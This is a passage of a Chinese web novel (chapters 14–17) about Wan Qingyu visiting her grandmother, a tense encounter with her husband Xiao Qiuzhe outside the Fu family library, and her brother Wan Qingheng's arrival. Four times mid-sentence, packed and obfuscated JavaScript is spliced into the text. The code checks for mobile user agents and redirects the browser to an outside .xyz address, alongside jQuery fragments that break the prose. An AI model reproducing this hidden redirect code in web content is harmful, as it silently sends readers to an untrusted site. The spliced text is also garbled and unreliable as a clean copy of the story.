张伯伯随侍外祖母多年,如今虽年事已高,仍不离不弃,忠心耿耿,实在令人感佩。他早年丧妻,膝下仅有一子,名唤张攸年,年方二十。张伯伯含辛茹苦,独自将儿子抚养成人,幸得此子勤奋好学,才华横溢,颇具风骨。 一年前,张攸年得晚青禾赏识,调入言书堂当值,张伯伯感激涕零,誓言竭尽全力照料外祖母以报恩德。 “张伯伯。”晚青妤含笑唤道,语气温婉,“祖母近日可安好?” 张伯伯引她入内,笑回道:“老夫人一切安好,只是时常挂念三小姐。早知三小姐回京,老夫定当登门拜访。” 晚青妤莞尔一笑:“我回京不过是寻常之事,张伯伯不必如此客气。攸年哥哥近来可忙?” 提及张攸年,张伯伯神色微变,随即笑道:“年儿许久未归,想必公务繁忙。” 晚青妤目光微凝,试探道:“张伯伯可曾听闻言书堂之事?” 张伯伯脚步一顿,惊道:“言书堂出了何事?莫非年儿给青禾惹了麻烦?” 晚青妤轻笑安抚他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000657|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“张伯伯莫急,言书堂近来事务繁多,攸年哥哥未能归家,想必是因公务缠身。” 她顿了顿,又问:“近日付钰书可曾寻过攸年哥哥?我记得他们昔日情同手足,常对弈论道。” 张攸年自幼随张伯伯居于乔家大院,与邻家付钰书自幼相伴,情谊深厚,付钰书的伯父更是张攸年的恩师。 此次言书堂风波,张攸年与晚青禾皆被牵连,至今未得自由。 如此大的事情张伯伯竟然不知? 晚青妤亦未多言,随他步入外祖母房中。 外祖母年事已高,目力渐衰,眯眼细瞧,方认出晚青妤,激动得步履蹒跚,颤声道:“可是青妤?我的青妤回来了?” 晚青妤见她苍老之态,心中酸楚,忙上前握住她的手,柔声道:“祖母,是我,青妤回来了。” 她扶外祖母坐下,外祖母紧紧握着她的手,细细端详,叹道:“许久不见,青妤怎的瘦了这许多?” 晚青妤强忍心中酸涩,安抚道:“祖母,青妤未曾瘦,只是长高了。您近来可好?” 外祖母连连点头,喜道:“好,好得很!青妤不必挂念。何时回来的?此次可要多住些时日?” 晚青妤为她斟茶,回道:“前两日刚回,此次归来便不走了。日后青妤常来陪您。” 外祖母欣慰点头,又问:“如今住在何处?” “现下住在亲王府。” “亲王府?”外祖母略感惊讶,随即笑道:“可是秋折接你回去的?” 晚青妤点头:“正是。” 外祖母拍着她的手背,欣慰地笑了:“接回来好,山上终究不是久居之地。日后你与秋折好好过日子,莫再分离。秋折虽性子冷了些,又不善言辞,但心地良善,外祖母直到现在都还忘不了他背了我几个时辰去看你的父亲和大哥。青妤啊,夫妻之间贵在体谅,你也要多上上心。” 说到这里,外祖母的眼眶突然湿润了,年岁大了,忆不得伤心事,她叹了口气,继续道:“你父亲和兄长去世后,秋折为我们晚家做了不少事情,只是他性子使然,才让人觉得疏离。但青妤啊,男子大多如此,有时候心里喜欢,却因为面子说不出口。夫妻之间,最怕的就是不肯沟通。日后,你二人定要互相体谅,你也莫要太过任性。” 作为长辈,自然希望孩子能够过得幸福,无论过往如何,只盼她日后能够越来越好。 晚青妤认真听着外祖母的叮咛,心中五味杂陈,她虽未完全参透人生,但却深知,无论何时何地,都要保持清醒的头脑,且不断努力向前。 她不知该如何回答外祖母,只得一味地点头。 外祖母又询问了她回亲王府后的诸多事宜,问她住得可还习惯?府中的人可有为难她?萧秋折能否好好护佑她? 晚青妤一一宽慰外祖母,告诉她一切都好。她还给外祖母讲述了许多住在山间的趣事,又亲手为她制作了一些茶点。 外祖母一直开心地望着她,不时在她面前夸赞萧秋折,临别时还非要她带些茶点回去给萧秋折,晚青妤依言打包了一些,直至傍晚时分,才依依不舍地离开了乔家老院。 今日与外祖母相聚,晚青妤心情愉悦,昔日她独居山间,以为清净便是舒心,今日方知,温馨之情方能滋养心田,驱散孤寂。 回府途中,路过付家书库,时近黄昏,晚霞漫天,景色宜人。 晚青妤掀开车帘,见书库院门前停着几辆马车,车上满载书籍,几人正围在一起商议。 晚青妤儿时常与付钰书来此玩耍,因为书库藏书丰富,多为外界罕见,他们总能提前一饱眼福。 因路旁马车众多,车行缓慢,未几,一辆载书马车忽向路中拐去,似是马匹受惊。 驾车的方于见状,急忙勒缰停车,事发突然,马儿仰蹄嘶鸣一声。 “怎么回事?”一道清朗悦耳的男子声音传来。 这声音……熟悉。 15. 第 15 章 付家世代以诗书传家,祖上曾出过数位翰林学士,门生故吏遍布朝野,堪称文坛翘楚。 付家现任家主付知锦,亦付钰书之父,如今年过五旬,乃是当朝有名的儒士,精通经史子集,尤擅诗词。早前受皇帝重用,被封为礼部尚书。他虽为当朝官员,却从不以富贵自居,常年身着素袍,头戴方巾,举止间透着一股儒雅之气。 付知锦不仅掌管多家书肆经营,还亲自教授族中子弟读书习字,每逢初一十五,他还会在书肆内开设讲坛,邀请城中名士前来讲学,引得无数文人学子慕名而来。 付家的族规也极为严格,族中子弟无论男女,自幼皆需读书习字,男子需精通经史,女子则需熟读《女诫》《内训》等典籍。付家子弟成年后,男子多入仕为官,女子则嫁入名门望族,付家因此与朝中诸多权贵结为姻亲,家族势力愈发庞大。 虽是如此,然到了付钰书这里,却另有一番光景。他素不喜父亲那等陈腐思想,更厌付家世代相传的禁锢文学之道。 外人眼中,付家乃书香门第,知书达理,待人宽厚,犹如京城中一轮清风朗月,令人敬仰。然在付钰书眼中,若非因文化潜移默化左右百姓心志,若无正直文学思想,恐误人子弟,贻害无穷。 奈何家业根深,他年岁尚轻,虽有己见,却难施展。早年间,因与父亲意见相左,愤而离家,游历四方,历经两载,眼界大开,尝尽人间百态,心性亦随之大变。归来后,虽遵从父命,赴科考中探花,然其中不乏父亲暗中相助,方得此名衔。 此外,他更接管书库进书事宜,京城书肆所入书籍,皆由他一手挑选。 此番门外新运至京城的书籍,也是他亲赴南方精挑,因游学期间深受南方文化熏陶,故特地从南方择了一批书籍入京。 书刚运至书库,尚未清点完毕,便有伙计匆匆来报,说书库一间房屋进水,请他速去查看。 方才,他分明在院门外听得方于车上女子之声,却未及细看,只得匆匆赶往书库。 他识得方于,乃萧秋折得力随从,前些日子还随萧秋折至西街书肆查案。 但方于马车为何突现于此?车上又载了哪位女子?他心中疑虑重重,可书库之事为重,他只得快步随伙计入内院,至进水书库。 书库存书甚多,最忌水火,多年来从未有失,怎会突生此变? 付钰书匆匆赶至库房,穿过重重书架,到最里侧墙壁旁,见墙壁渗水不止,地上已积一片。 此时,书库管事匆匆赶来,行礼禀道:“大人,方才查看墙外,见墙角积水,不知从何而来,正渗入墙壁。” 付钰书生得温润,举手投足间儒雅自持,不失贵气。他面容温和,不似萧秋折那般凌厉,亦无寻常男子的粗犷,一身书卷气质,一眼便能看出自幼浸泡在书堆里。 他虽是随和,然非常聪慧且有主见,办事亦极为认真。 时下听闻管事回报,他微蹙眉头,抿唇思忖片刻,道:“即便墙角积水,亦难渗入此墙。此墙乃特殊材质所建,防火防水,坚不可摧,必是有什么东西腐蚀了墙壁。” 付家书库已近百年,虽经数次修缮,却从未出过此等大事,且书库把守森严,此事绝非小可。 他伸手沾了地上水渍,凑近鼻端一闻,只觉一股奇特气味。 好像在哪里闻到过。 他起身吩咐管事:“速去禀告老爷,召集书库所有管事,再寻工匠尽快修补。” 管事汗如雨下,连连点头:“是,大人,我这就去。” 付钰书出得房间,本欲到院外查看方才受惊马车,然心中仍不放心,便拐过小道,至房屋墙外细察。 与此同时。 霞光漫天,映得整条街道都染上了一层淡淡的金辉,这条街巷虽人烟稀少,却是通往乔家老院的必经之路。 晚青妤早知会经过付家书库,只是未曾料到会在此处听到那道熟悉的声音。 玉儿闻声,身子不由自主地坐直了,瞥了一眼晚青妤的神色,又想起外面驾车的方于。这几日,方于如影随形,他们所有的出行,他定会向萧秋折汇报,今日之行也定当如此。 若是此时遇上付钰书,那可真是尴尬了。 玉儿正忧心忡忡,晚青妤却已掀开了车帘。玉儿顺着缝隙望去,只见一道熟悉的背影正往院内走,背影玉树临风,正是付钰书。 方才那道声音也是他的。 只是,话音落后,他径直回了书库大院,并未靠近马车,也不知是有要事着急回去,还是看到了方于有意躲避。 晚青妤盯了那道背影一会,目送他消失在院门,方才放下车帘。 此时马儿已被控制,马车稳稳停下,书库的管事匆匆跑来,对方于歉然道:“实在抱歉,方才马未拴好,惊扰了各位。” 方于的目光仍凝在付钰书离去的方向,唇角微挑,似笑非笑,长指随意摆了摆,示意无碍。他正欲扬鞭驾车离去,忽见巷口缓缓驶来一辆马车,青帷绣金,车顶垂着八宝璎珞,与他所驾的马车如出一辙。 是……亲王府的马车? 马车渐近,方于眯了眯眼,待看清车夫的面容后,心中猛然一沉,完了,是萧秋折。 他手中缰绳一紧,马车骤然停下,车轮碾过青石板,发出刺耳的声响。 车厢内,晚青妤与玉儿身子一晃,玉儿急忙扶住窗棂,掀开车帘,蹙眉问道:“怎么了?” 方于深吸一口气,压下心中波澜,低声回了一句:“是……公子。” 萧秋折? 玉儿顺着他的目光望去,正见对面马车缓缓停下,车帘微动,隐约可见车内人端坐的身影。 她暗道不妙,怎的偏偏在此处遇上了姑爷?还是在付家书库门前。 晚青妤听闻那句“是……姑爷”,却眸中波澜不惊,只是淡淡一笑道:“我还当是什么大事,原是遇到了萧秋折。” 玉儿眨了眨眼,瞧着晚青妤那从容淡定的神色,又瞥了眼车窗外那偌大的“付”字匾额,心中仍是七上八下。 当年小姐与付钰书之事闹得满城风雨,萧秋折自然全都知晓,他们订婚后不久,付钰书曾冒雨上门,再三哭求,希望小姐不要抛弃他,还当着萧秋折的面求她退掉婚事。 那时付钰书声泪俱下,言辞恳切,而萧秋折却冷眼旁观,临走时只对小姐说了一句:“收拾好你的烂摊子。” 前些日子付钰书两次造访山间小院,想必萧秋折也已知晓。毕竟,他派了暗卫在周围保护,院中出入之人,岂能瞒得了他? 可他却只字未提。 然而,如今小姐已住进亲王府,言行举止皆需谨慎,稍有差池,便会损了王府颜面。 玉儿心中盘算,不禁为小姐捏了一把汗。 晚青妤岂会不知玉儿的心思,无奈道:“我们不过是路过此地,你何必如此紧张?我又未做亏心事,不必顾虑那么多。况且,我见何人、去何处,皆是自由,何须在意他人眼光?尤其是萧秋折,我们早有约定,他不会干涉。” 话虽如此,玉儿仍是忧心忡忡,却也不敢再多言。 车外已有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000658|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动静,晚青妤掀开车帘,只见萧秋折已下了马车,目光与她相接,两个人均是愣了一瞬,晚青妤随即下车。 萧秋折身形笔挺地站着,见她走来,先是扫了一眼书库大门,又瞥了一眼跑上前的方于。 方于忙叫了一声:“公子。”还未等他问话就交代道:“我带少夫人探望她的外祖母,我们……刚路过这里。” 事实既是如此,虽然差一点碰到付钰书。 此时晚青妤已走到他跟前,问道:“你怎么来了?宫里的事可忙完了?” 萧秋折今日入宫,虽未着官服,然一身锦衣玉带,更衬得他矜贵非凡。他向来身姿挺拔,立于人群之中,如鹤立鸡群,卓尔不群。他一现身,周遭景物仿佛也随之抬了身份,平添几分雅致。 他低眸望向她,见她神色如常,眸中墨色微动,轻轻“嗯”了一声,目光掠过她的肩头,缓缓扫过那些装书的马车与付家伙计。 没有看到付钰书。 付家书库的管事迎上前来,恭敬道:“拜见大人,不知大人前来所为何事?” 方于代为回他:“听闻你们从城外运了一批书籍,大人特来查看。近日言书堂风波不断,皇家对文学书籍颇为重视,故盯得紧些。” 付管事连忙奉上书籍目录,道:“请大人过目,这批书籍多为南方才子所著,题材新颖,颇具文学价值,皆是付大人亲自挑选,十分严谨。” 萧秋折接过书单,目光扫过,发现其中竟有晚青妤昨夜所读之书,他眉头微皱,不解问道:“这批书不是在京城印刷售卖吗?为何又从城外运回?” 付管事回道:“这批书原是从京城运往江州山区,意在无偿赠阅。谁知江州知州袁安河受□□思想影响,拒收此书,只得原路返回。” 江州知州袁安河,晚青妤知晓,此人的父亲与晚青妤之父师出同门,曾一同进京科考,后留京任职,可惜其父英年早逝,留下孤儿寡母艰难度日。晚青妤之父曾多次相助,袁安河亦不负众望,屡立功劳,后被调任江州。 晚青妤心中疑惑,袁安河曾受教于她父亲,一向头脑清醒,他能拒绝这批书籍,或许其中有点问题。 萧秋折看了一眼晚青妤,知晓他们这层关系,只是不知此事是否牵连付家书肆。 晚青妤也深知此事牵扯甚广,闭口不便多言。 萧秋折环顾四周,眉梢微挑,向付管事问道:“你家付大人呢?” 提及付钰书,付管事立即含笑回道:“回大人,库中有事需他处理,刚进院。” 刚进院? 这是……见到了? 萧秋折目光转向方于,方于心中一紧,张了张口,完了,这不好解释。 只是,付钰书怎么溜了? 晚青妤知晓萧秋折此行是为公务,她不便参与,便道:“你且忙,我先回去了。” 言罢,她转身朝马车行去,都未等萧秋折回应。 一提付钰书,她就急着走。 萧秋折望着她疾走的背影,心里莫名发酸,这才刚二月天,他就觉得浑身燥热。 他吐了口气,举步欲进书库大门去找付钰书,刚走了几步又折返回来,追上晚青妤,几乎不受大脑控制地说了一句:“一起回去。” 他现在不想见到付钰书。 晚青妤正欲上车,见他跟来,打量他那不如从前稳重的模样,挑眉问道:“萧大人不忙了?” 呵!萧大人。 在付家门前,当着付家人的面……叫他萧大人。 晚青妤,真可以。 16. 第 16 章 先前,萧秋折想着,晚青妤若能安然回府,即便不能真正为他打理亲王府,即便她什么也不做,只要她能安然无恙,心中便已足矣。待她二哥难关渡过,待他们“和离”风波过去,便是她想重回那山间小院,他亦会点头应允。 然而,事情却并非如此。他仿佛中了魔障一般,只要踏出亲王府,哪怕只是离开半个时辰,便觉得仿佛过了大半日,心中便开始担忧府上是否有人为难她,她是否出府去见付钰书。 诚然,付钰书对他而言,并无太大威胁,自幼以来,他萧秋折想要之物,从未失手,即便付钰书高中探花,即便付钰书才貌双全,只要他不愿意,他就不可能从他手中将晚青妤夺走。 可是,站在晚青妤的立场,他并无资格无缘无故地介怀,也无资格干涉,毕竟,利益联姻是他提出的,三年和离之约也是他定的,当初是他强势地主导了一切。 如今,他凭什么要求她如何如何。 所以,两年前他究竟是发了什么疯,现在又是着了什么魔,她只需一声“萧大人”,就搅得他的心绪如浪潮般翻腾。 他虚握了下手掌,压下眼尾的微动,唇线紧抿,几乎是从鼻腔里“嗯”了一声。 晚青妤是个聪明人,岂会看不懂他为何如此,她唇角微挑,轻轻一笑,随即上了马车。 萧秋折冷着脸跟了上去。 二人坐定后,玉儿与方于在外驾车而行。 马车内大半路程皆是寂静无声的,静得连彼此的呼吸声都清晰可闻。 萧秋折甫一登车,目光便落于晚青妤身侧那方木盒上,此盒古朴雅致,常为盛放糕点之用。 糕点,准备送给谁? 他动了动唇,压着一股莫名情绪,清声道:“言书堂的事,你应当已有所耳闻。皇家在此查获了一批淫词艳曲的书籍,且堂中有人口口相传污言秽语之歌曲。更有几位掌事行风不正,倒卖幼女供权贵取乐。此事非同小可,足以砍脑袋。虽说言书堂所用书籍与付家无关,但难免背后有所牵连。若付钰书能帮你二哥洗清罪名,自是好事,若他只是借此毁灭证据、撇清关系,那你二哥的结局恐怕不会太好。” “付家乃书香世家,文学传承百年,不说其著作与思想影响,单是遍布全国的书肆,便已对百姓产生了深远的影响。世人对付家评价极高,因其门下寒门学子不计其数,且常对穷苦百姓广施恩学。在皇家面前,付家亦颇有地位,原因便是付钰书的曾祖父曾创下固派文学思想。这一思想虽对百姓束缚极大,却有助于皇家治理天下。” “付家人博学多才,皆极聪慧,且有一种常人难及的书卷气,这种气质或多或少会吸引人……” 他说到这里,忽然顿住,未再继续,明明是夸赞他人,自己眸中却冷了几分,眼皮微压,不动声色地瞥了晚青妤一眼。 晚青妤听得认真,每一句都在心中细细琢磨,见他突然停下,不由得抬头,正对上他投来的目光。 显而易见,他每次提及付钰书时,言语总是犀利,或是神情冷漠。 其实她心中清楚,许是当初他们订婚之后,付钰书闹了几回,让他颜面尽失。即便两年过去,他仍心有介怀,只要一提及付钰书,便会脸色阴沉。 萧秋折见她眼睫微颤,似是心中盘算着什么,便压下眼皮,继续道:“付钰书外出两年,归来便中了探花,其中不乏多位官员举荐。按以往惯例,探花郎通常会被授予翰林院编修等职,未来有机会进入内阁或成为皇室史官。你二哥是翰林院侍读学士,日后与他难免有诸多牵扯。官场之事你亦略知一二,这层关系你应当也看得明白。” 他的意思是,付钰书日后有望进入翰林院,且与她二哥有千丝万缕的联系,甚至可能顶替她二哥的职位。因此,付钰书一归来,言书堂便出了事,或许与付钰书有关。 若只看表面,确实如此。 只是,付家与他们交情很深,且付钰书与她二哥自幼一同长大,又师出同门,怎么会做出陷害之事。再者,付钰书对她情深义重,没有理由去动她二哥,何况,如此明显且拙劣的手段,实在不符付家人的才智。 晚青妤一直未作声,垂着眼眸也不看他。 萧秋折了解她,每每提起付钰书,她皆是这般淡漠,从不发表任何意见,即便他说起付钰书的坏话,她也依旧沉默。 这便是晚青妤,一个你费尽心思也休想探出一点心思的人。 此时,若他再多说一句,便显得他在背后嚼人舌根,非常小人了。 马车内的气氛有些沉闷,萧秋折莫名感到压抑,身上也燥热的不行,他如此心情浮动,并非因她今日途径付家书库,亦非因她心中仍有付钰书,而是她这种始终沉默不语的态度,着实令他心绪难平,甚至有些恼火。 他本是个稳重之人,从不会被外人左右心性,然而,在晚青妤面前,他就像个手足无措的小丑。 春日已至,天气渐暖,马车内愈发闷热,尤其是两人同处一车时。 他伸手扯了扯衣领,试图让自己透透气。 晚青妤见他情绪起伏越来越大,看了看他头上的红色发带,冷不丁地夸了一句:“这发带戴在你头上,愈发显得你英俊非凡。” 随即,她的目光又落在他的衣领处,眉眼温柔地笑道:“只是与这件衣服领子的绣纹不太相称。不过,整体看来,依旧很有韵味,配得上你的身份。日后,你若是不知如何搭配,或是订做衣裳,可以交给我。虽我眼光不算极好,但从女子角度来看,或许更能分辨出好坏。” 她…… 他苦口婆心说了半天,等来的竟是这个? 晚青妤见他被夸得一时无措,唇角微不可见地扬了扬,随即端起身旁的木盒,轻轻打开,递到他面前,温声道:“快尝尝,这是我亲手做的。方才去看望外祖母时,给她做了一些茶点,临走时,她非要让我给你带一些,还一直夸你的好。她说,我父亲和兄长去世那日,是你背了她几个时辰去看他们,这事她一直记着。外祖母知晓你极为优秀,也很喜欢你,等你哪日不忙了,去看看她。” 晚青妤…… 真有本事。 就这几句夸赞,竟让他脸颊微微泛红,望着她明亮的眼眸,心中的火气顿时消掉了一大半,动了动唇吐出一字:“好。” 好。 此生,他听过无数夸赞,却从未如此面对面地听过这般分不清真心还是假意的夸赞。 他又如此没有骨气地,乖巧地,应了一声“好”。 现在已经不止身上燥热了,脸颊也开始发烫了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000659|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晚青妤很会拿捏他。 他耳根子何时这么软了? 晚青妤见他眉头舒展,神色缓和,拿起一块茶点,亲自递到他面前,温声道:“快尝尝吧!外祖母吃不了太甜的东西,我没有放糖,只放了些花瓣,味道很清淡。” 她笑脸盈盈,极会哄人。 而他,好像很好哄。 他鬼使神差地接过她手中的茶点,咬了一口,嘴巴比心更快地脱出一句:“可口。” 她手艺可以。 晚青妤闻言笑了,见他情绪总算稳定下来,这才开始与他细说今日的行程,还提起了太妃亲自跑到翠玉轩的事。 萧秋折本就料到祖母这两日会有所动作,却未料到她竟第一时间去找晚青妤,还要求他们尽快延续子嗣。 延续子嗣…… 二人归至亲王府,马车停稳,晚青妤下车后便径直往偏房而去,身影隐入帘后,久久未现。 萧秋折知道她是去更衣,遂于主房静候,茶盏渐凉,却始终不见她出来。 祖母有命,回府后需他们过去一趟,然晚青妤迟迟不出,如何成行? 他再候片刻,仍无动静,遂起身去了厨房,吩咐厨子备膳。事毕,又转至浴房,恰见玉儿正为晚青妤准备温水。 玉儿见他,盈盈一礼,未多言便匆匆往偏房而去。 他草草洗漱,更完衣,这才见晚青妤着一件鹅黄色锦衣出来,她秀发初干,轻挽于后,宛若初绽的鹅黄杏花,显得清新脱俗。 她未施粉黛,愈发清秀,只是面颊有些苍白,似是身子不适。 他起身迎上她,问道:“怎么了?哪里不舒服?” 晚青妤未料到他还在等着,轻声道:“无碍,只是肚子有些不适,一会儿便好了。” 方才还好好的,怎会突然肚子不适? 萧秋折见她眉头轻蹙,担忧道:“若是不舒服,该请大夫瞧瞧,莫要忍着,我去给你叫医师。” 晚青妤闻言,急忙拉住他的衣袖,摇头道:“别,只是……只是……” 只是在车上时突然来了月水。 她“只是”了半天,终究未说出口。 萧秋折疑惑地看着她,见她脸颊突然泛红,心中隐约明白了什么,似是女儿家的私密之事。 晚青妤见他眸光闪动,似有所悟,慢慢松开他的衣袖,转过身去,轻声道:“我去让厨房准备饭菜,吃了饭再去祖母那儿。” 萧秋折摸了摸耳朵,耳尖不知何时已经发烫,道:“饭菜我已吩咐厨房准备了,你且等一会儿,我去看看有没有好。” 他说完,大步走出房间,直奔厨房,又吩咐厨子多做了一碗红枣粥。 这时,方齐从外归来,带来了晚青妤的四弟——晚青桁。 晚青妤见了他,愣了一瞬,抬眸看向萧秋折,眼中满是疑惑。 萧秋折见她神色不解,心中亦有些茫然,不明白她近日为何总是不提娘家人,时下晚青桁站在眼前,也不见她所有激动。 莫不是她另有计划? 那天,付钰书去了山间小院,久久未出。 从天明到天黑…… 晚青桁看到许久未见的姐姐,快步上前,一把抱住她,开心地唤了一声:“姐姐!” 17. 第 17 章 晚青桁在家中排行第四,较晚青妤小三岁,年方十六,正是初出茅庐的少年郎。其容貌与晚青妤极为相似,温润如玉,肤若凝脂,一双明眸似含春露,秀发如瀑,更添几分风姿。尤其是那眉眼,与晚青妤如出一辙,甚至比她还多了一丝妩媚。若不细看,旁人怕是难以分辨他是男儿身。 虽生得一副好相貌,晚青桁却不失男儿气概,骨子里透着几分倔强。他年纪虽轻,却已精通音律,琴艺在京城中堪称翘楚。 数月前,晚青禾将他引荐至京城一家乐坊授课,不料却被赵家老爷子相中。赵老爷子三番五次邀他入府,甚至以各种理由施压纠缠,令晚青桁郁郁不欢。 晚青禾曾为此事登门寻访赵老爷子,却未能得见,反被赵老夫人冷嘲热讽,指责晚青桁在乐坊授课期间行为不检,勾引赵家小女。 这般颠倒黑白,着实令人发指。 更令人忧心的是,不久后晚青禾的言书堂突遭变故,晚青桁被扣押,一时失去了自由之身。 晚青桁近来一直闭门不出,直至听闻赵老爷子猝死,方稍稍松了口气。 赵家人素来嚣张跋扈,萧秋折忧心赵家人会对晚青桁不利,便擅自将他接到府中,与晚青妤相聚。 此举虽是出于好意,但晚青妤并不领情,因为她心中自有盘算。 姐弟二人相拥,场面温馨,但晚青妤眉间却隐隐透着愁绪。 晚青桁激动地唤了声“姐姐”,问道:“姐姐既然已回府,为何不告知家中?可知近日家中变故?” 晚青桁在路上已从方齐口中得知,晚青妤前两日便已回京,且打算长居于此。他心中疑惑,追问方齐姐姐为何不回晚府报信,方齐却只是瞧着他那张粉雕玉琢的脸蛋,搓了搓下巴,摇头表示不知。 晚青妤一时难以解释,反问道:“青桁,可曾用过饭?若未用,便随我们一起,饭间姐姐再与你细说。” 晚青桁虽满腹疑惑,却一向听从姐姐的安排,点头道:“好的,姐姐。” 晚青妤瞥了一眼萧秋折,萧秋折察觉她目光不善,转身朝门外走去,道:“晚饭想必已备好,我带你们去膳厅。” 晚青桁向来知礼,近日又得萧秋折相助,急忙追上他,诚恳道:“多谢姐夫近日照拂,日后若有需要,小弟定当尽心相助。” 萧秋折爽朗一笑,摆摆手:“青桁不必客气。你暂且在此住下,待风波平息再回晚府。你嫂嫂那边,我也会派人照看。只是……” 他顿了顿,侧首看了一眼紧随其后的晚青妤,道:“你二哥言书堂之事,你姐已请付钰书相助,我不便插手,但愿你二哥早日脱困。” “付钰书?”晚青桁闻言一惊,脱口问道:“姐姐,付钰书去找过你?你们还有来往?” 晚青妤与付钰书的过往,晚青桁一清二楚。虽知付钰书才华横溢,如今更是探花郎,但他心中始终对这位旧友心存芥蒂。几年前,二人因琐事大打出手,彼时年少气盛,谁也不肯退让。即便付钰书年长几岁,也未曾让步。自那以后,晚青桁便对他心生不满,认为他以大欺小。 因此,当年晚青妤与付钰书决裂时,只有晚青桁拍手称快。 虽知姐姐与萧秋折的婚姻乃是利益联姻,但萧秋折为人正直,多次相助晚家,他更为喜欢。此次若非他将赵老爷子逼出京城,赵老爷子也不会猝死,他也难以脱身。 虽不知姐姐与萧秋折如今关系如何,但姐姐毕竟是萧秋折的妻子,既已成婚,便不该再与付钰书有所瓜葛。 晚青桁虽是这般想,然而晚青妤心中委屈,她与谁来往,何须他人置喙?尤其是萧秋折,他这时提及付钰书,分明是故意为之。 平日里二人独处时说说也就罢了,如今当着家人的面再提,有些过分了。 并且,他将晚青桁接到亲王府,可曾问过她的意思? 晚青妤脸色一沉,心中顿生不悦,仍强忍怒气,对晚青桁道:“先去用饭,饭后我让人为你收拾房间。你暂且在此住下,待风声过去再回晚府。至于在亲王府的花销,走时我会一一清算还给萧大人。” 她向来不愿欠人情,尤其是萧秋折这般阴阳怪气的人。 说罢,她大步向前,经过萧秋折时,还故意踩了他一脚,随即冷冷丢下一句:“抱歉,萧大人,踩到您了。” 萧秋折宽大的衣袖无声地晃了晃,低垂的眼眸中闪过一抹分不清的神色,勾了勾唇角有些想笑,他目光追随她那消瘦倔强的背影,看似若无其事地动了动被她踩过的那只脚。 她生气了。 或是因为他擅自将晚青桁带来。 或是因为他提到了付钰书。 “姐姐生气了?”晚青桁看向萧秋折,方才晚青妤那一眼,他看得真切,“生你的气?” 晚青桁对自家姐姐自是了解,却不明白萧秋折帮了他们这么多,姐姐为何还要如此对他。 萧秋折心知肚明,晚青妤确实生他的气了,她一直不提娘家人,显然是在防备他,或是与付钰书达成了某种约定。那日付钰书在山间小院待了许久,足够与晚青妤商议出如何解救晚青禾的办法。 萧秋折未答晚青桁,只是指了指膳厅的方向,转身前行。 晚青桁察觉气氛不对,忽觉自己方才失言,但姐姐此时确实不该再与付钰书有所往来。 他望着二人一前一后的背影,站在原地挠了挠头。 “疑惑了吧?”方齐突然凑上来,一把搂住他的肩膀,扬眉笑道:“这俩人一向如此,夫妻不像夫妻,陌生人又不像陌生人,别扭得很。” 方齐搂得突然,晚青桁不自在地往外撤了撤身,问道:“那我姐为何回来?她当初离开,不就是因为不想与姐夫在一起吗?如今回来,难道是为了付钰书?” 说完,他又摇头:“不对,即便为了付钰书,她也不该住进亲王府。” 方齐知他疑惑,但有些事不便多说,只得叹道:“别纠结了,他们自会处理。日后,你在他们面前不提付钰书便是。走,我带你去用饭。” 方齐对他格外热情,搂着他的肩膀不放,晚青桁则蹙眉推开他,抚了抚衣袖,径直向前走去。 他最不喜旁人靠近,尤其是男子。 方齐见他突然冷淡,撇了撇嘴,快步跟上,问道:“青桁弟弟今年多大了?” “十六。” “听说你琴艺了得。” “嗯。” “能否为我弹一曲?” “不能。” “……” 晚青妤果真气得不轻,整个晚膳期间都冷着脸,草草吃了几口便离席而去,连萧秋折特意让厨子为她准备的红枣粥也未动一口。 萧秋折亦无甚胃口,盯着那碗粥片刻,起身离开了膳厅。 晚青妤出去后,命下人为晚青桁在翠玉轩收拾了一间客房,又吩咐人准备生活用品。一切安排妥当后,她回到偏房,喝了杯热茶,再出门时,正巧碰上萧秋折。 二人驻足门前,彼此对视一眼,皆未言语。 玉儿一整晚都惦记着去见太妃的事,生怕二人忘记。此时夜已深,二人却仍无动身之意。玉儿不愿晚青妤在太妃面前留下不好的印象,硬着头皮提醒道:“小姐,姑爷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005979|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太妃想必还未歇息,你们现在可要过去?” 